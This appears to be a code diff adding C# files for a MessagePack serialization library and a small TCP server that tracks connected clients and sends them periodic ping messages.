return BitConverter.GetBytes(dateval);
case MsgPackType.Binary:
return (byte[])this.innerValue;
default:
return new byte[] { };
}
}
public void Add(string key, String value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsString(value);
}
public void Add(string key, int value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsInteger(value);
}
public bool LoadFileAsBytes(string fileName)
{
if (File.Exists(fileName))
{
byte[] value = null;
FileStream fs = new FileStream(fileName, FileMode.Open);
value = new byte[fs.Length];
fs.Read(value, 0, (int)fs.Length);
fs.Close();
SetAsBytes(value);
return true;
}
else
{
return false;
}
}
public bool SaveBytesToFile(string fileName)
{
if (this.innerValue != null)
{
FileStream fs = new FileStream(fileName, FileMode.Append);
fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length);
fs.Close();
return true;
}
else
{
return false;
}
}
public MsgPack ForcePathObject(string path)
{
MsgPack tmpParent, tmpObject;
tmpParent = this;
string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' });
string tmp = null;
if (pathList.Length == 0)
{
return null;
}
else if (pathList.Length > 1)
{
for (int i = 0; i < pathList.Length - 1; i++)
{
tmp = pathList[i];
tmpObject = tmpParent.FindObject(tmp);
if (tmpObject == null)
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
}
else
{
tmpParent = tmpObject;
}
}
}
tmp = pathList[pathList.Length - 1];
int j = tmpParent.IndexOf(tmp);
if (j > -1)
{
return tmpParent.children[j];
}
else
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
return tmpParent;
}
}
public void SetAsNull()
{
Clear();
this.innerValue = null;
this.valueType = MsgPackType.Null;
}
public void SetAsString(String value)
{
this.innerValue = value;
this.valueType = MsgPackType.String;
}
public String GetAsString()
{
if (this.innerValue == null)
{
return "";
}
else
{
return this.innerValue.ToString();
}
}
public void SetAsBoolean(Boolean bVal)
{
this.valueType = MsgPackType.Boolean;
this.innerValue = bVal;
}
public void SetAsSingle(Single fVal)
{
this.valueType = MsgPackType.Single;
this.innerValue = fVal;
}
public void SetAsFloat(Double fVal)
{
this.valueType = MsgPackType.Float;
this.innerValue = fVal;
}
public void DecodeFromBytes(byte[] bytes)
{
MemoryStream ms = new MemoryStream();
ms.Write(bytes, 0, bytes.Length);
ms.Position = 0;
DecodeFromStream(ms);
}
public void DecodeFromFile(string fileName)
{
FileStream fs = new FileStream(fileName, FileMode.Open);
DecodeFromStream(fs);
fs.Dispose();
}
public void DecodeFromStream(Stream ms)
{
byte lvByte = (byte)ms.ReadByte();
byte[] rawByte = null;
MsgPack msgPack = null;
int len = 0;
int i = 0;
if (lvByte <= 0x7F)
{ //positive fixint 0xxxxxxx 0x00 - 0x7f
SetAsInteger(lvByte);
}
else if ((lvByte >= 0x80) && (lvByte <= 0x8F))
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Map;
len = lvByte - 0x80;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Array;
len = lvByte - 0x90;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf
{
len = lvByte - 0xA0;
SetAsString(ReadTools.ReadString(ms, len));
}
else if ((lvByte >= 0xE0) && (lvByte <= 0xFF))
{ /// -1..-32
// negative fixnum stores 5-bit negative integer
// +--------+
// |111YYYYY|
// +--------+
SetAsInteger((sbyte)lvByte);
}
else if (lvByte == 0xC0)
{
SetAsNull();
}
else if (lvByte == 0xC1)
{
throw new Exception("(never used) type $c1");
}
else if (lvByte == 0xC2)
{
SetAsBoolean(false);
}
else if (lvByte == 0xC3)
{
SetAsBoolean(true);
}
else if (lvByte == 0xC4)
{ // max 255
len = ms.ReadByte();
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC5)
{ // max 65535
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC6)
{ // binary max: 2^32-1
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9))
{
throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9");
}
else if (lvByte == 0xCA)
{ // float 32
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsSingle(BitConverter.ToSingle(rawByte, 0));
}
else if (lvByte == 0xCB)
{ // float 64
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsFloat(BitConverter.ToDouble(rawByte, 0));
}
else if (lvByte == 0xCC)
{ // uint8
// uint 8 stores a 8-bit unsigned integer
// +--------+--------+
// | 0xcc |ZZZZZZZZ|
// +--------+--------+
lvByte = (byte)ms.ReadByte();
SetAsInteger(lvByte);
}
else if (lvByte == 0xCD)
{ // uint16
// uint 16 stores a 16-bit big-endian unsigned integer
// +--------+--------+--------+
// | 0xcd |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt16(rawByte, 0));
}
else if (lvByte == 0xCE)
{
// uint 32 stores a 32-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+
// | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt32(rawByte, 0));
}
else if (lvByte == 0xCF)
{
// uint 64 stores a 64-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsUInt64(BitConverter.ToUInt64(rawByte, 0));
}
else if (lvByte == 0xDC)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdc |YYYYYYYY|YYYYYYYY| N objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDD)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xD9)
{
// str 8 stores a byte array whose length is upto (2^8)-1 bytes:
// +--------+--------+========+
// | 0xd9 |YYYYYYYY| data |
// +--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDF)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDA)
{
// str 16 stores a byte array whose length is upto (2^16)-1 bytes:
// +--------+--------+--------+========+
// | 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
// +--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDB)
{
// str 32 stores a byte array whose length is upto (2^32)-1 bytes:
// +--------+--------+--------+--------+--------+========+
// | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
// +--------+--------+--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xD0)
{
// int 8 stores a 8-bit signed integer
// +--------+--------+
// | 0xd0 |ZZZZZZZZ|
// +--------+--------+
SetAsInteger((sbyte)ms.ReadByte());
}
else if (lvByte == 0xD1)
{
// int 16 stores a 16-bit big-endian signed integer
// +--------+--------+--------+
// | 0xd1 |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt16(rawByte, 0));
}
else if (lvByte == 0xD2)
{
// int 32 stores a 32-bit big-endian signed integer
// +--------+--------+--------+--------+--------+
// | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt32(rawByte, 0));
}
else if (lvByte == 0xD3)
{
// int 64 stores a 64-bit big-endian signed integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt64(rawByte, 0));
}
}
public byte[] Encode2Bytes()
{
MemoryStream ms = new MemoryStream();
Encode2Stream(ms);
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return r;
}
public void Encode2Stream(Stream ms)
{
switch (this.valueType)
{
case MsgPackType.Unknown:
case MsgPackType.Null:
WriteTools.WriteNull(ms);
break;
case MsgPackType.String:
WriteTools.WriteString(ms, (String)this.innerValue);
break;
case MsgPackType.Integer:
WriteTools.WriteInteger(ms, (Int64)this.innerValue);
break;
case MsgPackType.UInt64:
WriteTools.WriteUInt64(ms, (UInt64)this.innerValue);
break;
case MsgPackType.Boolean:
WriteTools.WriteBoolean(ms, (Boolean)this.innerValue);
break;
case MsgPackType.Float:
WriteTools.WriteFloat(ms, (Double)this.innerValue);
break;
case MsgPackType.Single:
WriteTools.WriteFloat(ms, (Single)this.innerValue);
break;
case MsgPackType.DateTime:
WriteTools.WriteInteger(ms, GetAsInteger());
break;
case MsgPackType.Binary:
WriteTools.WriteBinary(ms, (byte[])this.innerValue);
break;
case MsgPackType.Map:
WriteMap(ms);
break;
case MsgPackType.Array:
WirteArray(ms);
break;
default:
WriteTools.WriteNull(ms);
break;
}
}
public String AsString
{
get
{
return GetAsString();
}
set
{
SetAsString(value);
}
}
public Int64 AsInteger
{
get { return GetAsInteger(); }
set { SetAsInteger((Int64)value); }
}
public Double AsFloat
{
get { return GetAsFloat(); }
set { SetAsFloat(value); }
}
public MsgPackArray AsArray
{
get
{
lock (this)
{
if (refAsArray == null)
{
refAsArray = new MsgPackArray(this, children);
}
}
return refAsArray;
}
}
public MsgPackType ValueType
{
get { return valueType; }
}
IEnumerator IEnumerable.GetEnumerator()
{
return new MsgPackEnum(children);
}
}
}

View File

@ -0,0 +1,24 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Server.MessagePack
{
public enum MsgPackType
{
Unknown = 0,
Null = 1,
Map = 2,
Array = 3,
String = 4,
Integer = 5,
UInt64 = 6,
Boolean = 7,
Float = 8,
Single = 9,
DateTime = 10,
Binary = 11
}
}

View File

@ -0,0 +1,84 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Server.MessagePack
{
class ReadTools
{
public static String ReadString(Stream ms, int len)
{
byte[] rawBytes = new byte[len];
ms.Read(rawBytes, 0, len);
return BytesTools.GetString(rawBytes);
}
public static String ReadString(Stream ms)
{
byte strFlag = (byte)ms.ReadByte();
return ReadString(strFlag, ms);
}
public static String ReadString(byte strFlag, Stream ms)
{
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
byte[] rawBytes = null;
int len = 0;
if ((strFlag >= 0xA0) && (strFlag <= 0xBF))
{
len = strFlag - 0xA0;
}
else if (strFlag == 0xD9)
{
len = ms.ReadByte();
}
else if (strFlag == 0xDA)
{
rawBytes = new byte[2];
ms.Read(rawBytes, 0, 2);
rawBytes = BytesTools.SwapBytes(rawBytes);
len = BitConverter.ToInt16(rawBytes, 0);
}
else if (strFlag == 0xDB)
{
rawBytes = new byte[4];
ms.Read(rawBytes, 0, 4);
rawBytes = BytesTools.SwapBytes(rawBytes);
len = BitConverter.ToInt32(rawBytes, 0);
}
rawBytes = new byte[len];
ms.Read(rawBytes, 0, len);
return BytesTools.GetString(rawBytes);
}
}
}

View File

@ -0,0 +1,203 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Server.MessagePack
{
class WriteTools
{
public static void WriteNull(Stream ms)
{
ms.WriteByte(0xC0);
}
public static void WriteString(Stream ms, String strVal)
{
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal);
byte[] lenBytes = null;
int len = rawBytes.Length;
byte b = 0;
if (len <= 31)
{
b = (byte)(0xA0 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 255)
{
b = 0xD9;
ms.WriteByte(b);
b = (byte)len;
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDA;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDB;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteBinary(Stream ms, byte[] rawBytes)
{
byte[] lenBytes = null;
int len = rawBytes.Length;
byte b = 0;
if (len <= 255)
{
b = 0xC4;
ms.WriteByte(b);
b = (byte)len;
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xC5;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xC6;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteFloat(Stream ms, Double fVal)
{
ms.WriteByte(0xCB);
ms.Write(BytesTools.SwapDouble(fVal), 0, 8);
}
public static void WriteSingle(Stream ms, Single fVal)
{
ms.WriteByte(0xCA);
ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4);
}
public static void WriteBoolean(Stream ms, Boolean bVal)
{
if (bVal)
{
ms.WriteByte(0xC3);
}
else
{
ms.WriteByte(0xC2);
}
}
public static void WriteUInt64(Stream ms, UInt64 iVal)
{
ms.WriteByte(0xCF);
byte[] dataBytes = BitConverter.GetBytes(iVal);
ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8);
}
public static void WriteInteger(Stream ms, Int64 iVal)
{
if (iVal >= 0)
{ // 正数
if (iVal <= 127)
{
ms.WriteByte((byte)iVal);
}
else if (iVal <= 255)
{ //UInt8
ms.WriteByte(0xCC);
ms.WriteByte((byte)iVal);
}
else if (iVal <= (UInt32)0xFFFF)
{ //UInt16
ms.WriteByte(0xCD);
ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2);
}
else if (iVal <= (UInt32)0xFFFFFFFF)
{ //UInt32
ms.WriteByte(0xCE);
ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4);
}
else
{ //Int64
ms.WriteByte(0xD3);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
}
else
{ // <0
if (iVal <= Int32.MinValue) //-2147483648 // 64 bit
{
ms.WriteByte(0xD3);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
else if (iVal <= Int16.MinValue) // -32768 // 32 bit
{
ms.WriteByte(0xD2);
ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4);
}
else if (iVal <= -128) // -32768 // 32 bit
{
ms.WriteByte(0xD1);
ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2);
}
else if (iVal <= -32)
{
ms.WriteByte(0xD0);
ms.WriteByte((byte)iVal);
}
else
{
ms.WriteByte((byte)iVal);
}
} // end <0
}
}
}

33
Server/Program.cs Normal file
View File

@ -0,0 +1,33 @@
using System.Linq;
using System.Threading;
using Server.MessagePack;
namespace Server
{
class Program
{
public static System.Timers.Timer tim = new System.Timers.Timer(1000);
static void Main(string[] args)
{
Listener listener = new Listener();
Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect));
thread.Start(8848);
tim.Elapsed += Tim_Elapsed;
tim.Start();
}
private static void Tim_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
{
if (Settings.Online.Count > 0)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping";
msgpack.ForcePathObject("Message").AsString = "This is a ping!";
foreach (Clients CL in Settings.Online.ToList())
{
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
}
}
}
}
}

8
Server/Server.csproj Normal file
View File

@ -0,0 +1,8 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net5.0</TargetFramework>
</PropertyGroup>
</Project>

13
Server/Settings.cs Normal file
View File

@ -0,0 +1,13 @@
using System.Collections.Generic;
namespace Server
{
class Settings
{
public static readonly List<Clients> Controler = new List<Clients>();
public static readonly List<Clients> Online = new List<Clients>();
public static long Sent = 0;
public static long Received = 0;
}
}